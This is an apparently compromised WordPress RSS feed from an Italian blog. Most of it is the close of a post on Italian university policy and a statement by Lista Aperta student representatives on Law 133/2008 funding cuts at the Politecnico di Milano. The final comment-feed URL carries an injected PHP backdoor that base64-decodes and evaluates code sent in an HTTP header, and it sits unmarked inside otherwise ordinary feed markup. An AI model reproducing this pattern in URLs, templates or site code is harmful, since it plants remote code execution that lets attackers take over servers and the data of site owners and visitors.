<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">Da parte loro le università non possono arroccarsi su posizioni di pura conservazione dello <em>status quo </em>e non dovrebbero chiedere nell’immediato più soldi, ma più prospettive. In particolare occorre accettare l’idea che il sistema esige una differenziazione tra atenei per procedere positivamente a una selezione delle eccellenze. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">Inaccettabili, oltre che inutili, sono i tentativi (in atto in alcuni atenei) di occupare le facoltà e di bloccare il regolare svolgimento delle attività didattiche o gli appelli d’esame e di laurea. Iniziative di questo tipo non sono altro che sciacallaggio politico sulla pelle degli studenti che sono l’anello più debole della catena. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">Dalla stampa (<em>Italia Oggi </em>del 26/9) si apprende, peraltro, che il Ministro Gelmini starebbe lavorando alla stesura di un piano programmatico per l’Università. <st1:personname productid="La Conferenza" w:st="on">La Conferenza</st1:personname> dei Rettori, da parte sua, ha approvato nei giorni scorsi un documento che evidenzia le priorità da affrontare. Ci auguriamo che a questi (timidi) segnali positivi conseguano presto misure concrete per rilanciare il sistema. <o:p></o:p></span></p>
<p class="MsoNormal" style="text-align: justify"><span style="font-size: 11.5pt">In questo momento di difficoltà, infatti, è più che mai necessario che ciascuno faccia la sua parte e si assuma le sue responsabilità: Governo, Ministro, Rettori e comunità accademiche.<o:p></o:p></span></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Documento di Lista Aperta sulla Legge 133/2008 e sulle Linee di Sviluppo</title>
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		<pubDate>Fri, 24 Oct 2008 21:39:08 +0000</pubDate>
		<dc:creator>FNP</dc:creator>
		
		<category><![CDATA[CNSU]]></category>

		<category><![CDATA[Consiglio della Prima Facoltà]]></category>

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		<description><![CDATA[A seguito dei tagli al sistema universitario e dalle linee di sviluppo presentate dal Rettore del Poltecnico di Milano, Giulio Ballio, abbiamo comunicato la nostra posizione di rappresentati degli studenti di Lista Aperta nei Consigli di Facoltà e in Senato Accademico.
Inserisco di seguito il testo del documento: 
Quali rappresentanti degli studenti, e soprattutto come studenti pieni [...]]]></description>
			<content:encoded><![CDATA[<p align="left"><a href="http://www.plescia.it/?attachment_id=161" rel="attachment wp-att-161" title="rettorato_tagli.JPG"><img src="http://www.plescia.it/wp-content/uploads/2008/10/rettorato_tagli.JPG" alt="rettorato_tagli.JPG" align="left" height="246" width="188" /></a><em>A seguito dei tagli al sistema universitario e dalle linee di sviluppo presentate dal Rettore del Poltecnico di Milano, Giulio Ballio, abbiamo comunicato la nostra posizione di rappresentati degli studenti di Lista Aperta nei Consigli di Facoltà e in Senato Accademico.</em></p>
<p class="MsoNormal" style="text-align: justify"><em>Inserisco di seguito il testo del documento: </em></p>
<p class="MsoNormal" style="text-align: justify">Quali rappresentanti degli studenti, e soprattutto come studenti pieni di aspettativa e stima nei confronti del Politecnico di Milano, è nostro primario intento portare all’attenzione degli organi di governo dell’Ateneo la nostra posizione in merito alle Linee Guida esposte dal Rettore ed esprimere inoltre le fondamentali preoccupazioni da cui non possiamo prescindere.</p>
<p class="MsoNormal"><o:p></o:p>Prendiamo innanzi tutto atto della gravità delle misure varate dal Governo nella Legge finanziaria per i prossimi anni. La legge 133/08 presenta tagli alle risorse statali destinate alle Università che risultano tanto più incomprensibili ed irresponsabili alla luce della completa mancanza di un progetto sistematico fondato su criteri meritocratici.<o:p> </o:p></p>
<p class="MsoNormal">Inoltre il blocco del turnover risulta particolarmente penalizzante ed ingiustificato per una università come il Politecnico di Milano, dotata di un personale docente che già opera con un organico e con un costo del personale notevolmente al di sotto delle media nazionale, che già da diversi anni porta avanti progetti di qualità e d’eccellenza per la didattica e la ricerca (come ad esempio l’internazionalizzazione e l’Alta Scuola Politecnica).</p>
<p class="MsoNormal" style="text-align: justify">Non da meno esprimiamo il nostro apprezzamento<span>  </span>per il lavoro portato avanti da parte del Rettore e dell’Amministrazione affinché il Politecnico di Milano possa reagire positivamente e propositivamente a questi tagli: una posizione che ricerchi valide soluzioni di revisione dei conti senza voler scendere a compromessi con la qualità dell’Ateneo rappresenta infatti un tentativo tutt’altro che scontato all’interno del Sistema Universitario Nazionale.</p>
<p class="MsoNormal">A seguito di un attento e critico vaglio delle “Linee di Sviluppo” che ci sono state sottoposte non possiamo che condividere e sostenere le proposte in oggetto. A questo proposito è nostro dovere e vivo interesse intervenire portando le primarie preoccupazioni di noi studenti, come apporto costruttivo al miglioramento della qualità del nostro Ateneo.<o:p> </o:p></p>
<p class="MsoNormal">Per prima cosa ribadiamo con forza la nostra attenzione nei confronti della didattica, reale punto di eccellenza e valore irrinunciabile per noi studenti. Per questa ragione desideriamo che ne venga salvaguardata la qualità nella molteplicità dei suoi aspetti, tra i quali: validi professori, adeguato rapporto docente/numero di studenti a lezione, laboratori competitivi per la ricerca, vivibilità degli stabili in cui si svolgono i corsi nel rispetto sia di chi insegna sia di chi impara, spazi adeguati perché gli studenti possano studiare ed usufruire delle risorse dell’Ateneo (biblioteche, aule informatizzate, etc.).</p>
<p class="MsoNormal"><o:p></o:p>A questo proposito un eventuale taglio indiscriminato sulle voci di bilancio nel tentativo di far rientrare il deficit comporterebbe l’accentuarsi di squilibri nel carico didattico dei docenti da facoltà a facoltà. Auspichiamo dunque che l’eventuale riorganizzazione della didattica che si renderà necessaria possa andare nella direzione di un progetto coraggioso di razionalizzazione mirata ed equilibrata, di cui noi studenti vogliamo farci parte attiva. Quanto sta già accadendo con l’attuazione del D.M. 270/04 rappresenta per noi studenti una strada da approfondire, verso un ripensamento dei percorsi formativi governato non da logiche di bilancio, ma guidata da reali necessità didattiche cui anche l’esperienza di noi studenti saprà contribuire ad identificare.</p>
<p class="MsoNormal">A margine di una revisione interna occorre inoltre continuare ad intervenire pubblicamente per promuovere l’operato e l’immagine del Politecnico nell’ambito nazionale ed internazionale, primo fondamentale passo per valorizzare il sistema universitario regolarmente appiattito sugli esempi negativi presenti nel contesto nazionale.</p>
<p class="MsoNormal">Infatti, solo a partire dal distinguersi di poli universitari di eccellenza e dal loro chiaro riconoscimento, sarà possibile l’affermarsi di una nuova forma di distribuzione delle risorse statali basata sulla valorizzazione di progetti meritevoli.<o:p> </o:p></p>
<p class="MsoNormal" style="text-align: justify">Infine, proprio a partire dalla professionalità e <span> </span>dalla capacità di decisioni strategiche dimostrataci in questi anni dagli organi del Politecnico non abbiamo alcuna opposizione aprioristica alle iniziative che l’Ateneo vorrà valutare, ma ci rendiamo disponibili, a partire dalla nostra appartenenza a questo ateneo, ad un dialogo costruttivo per la salvaguardia della nostra università, ed in particolare per il miglioramento della qualità della didattica.</p>
<p class="MsoNormal" style="text-align: right" align="right"><em>I rappresentati degli studenti di Lista Aperta</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.plescia.it/2008/10/24/documento-di-lista-aperta-sulla-legge-1332008-e-sulle-linee-di-sviluppo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
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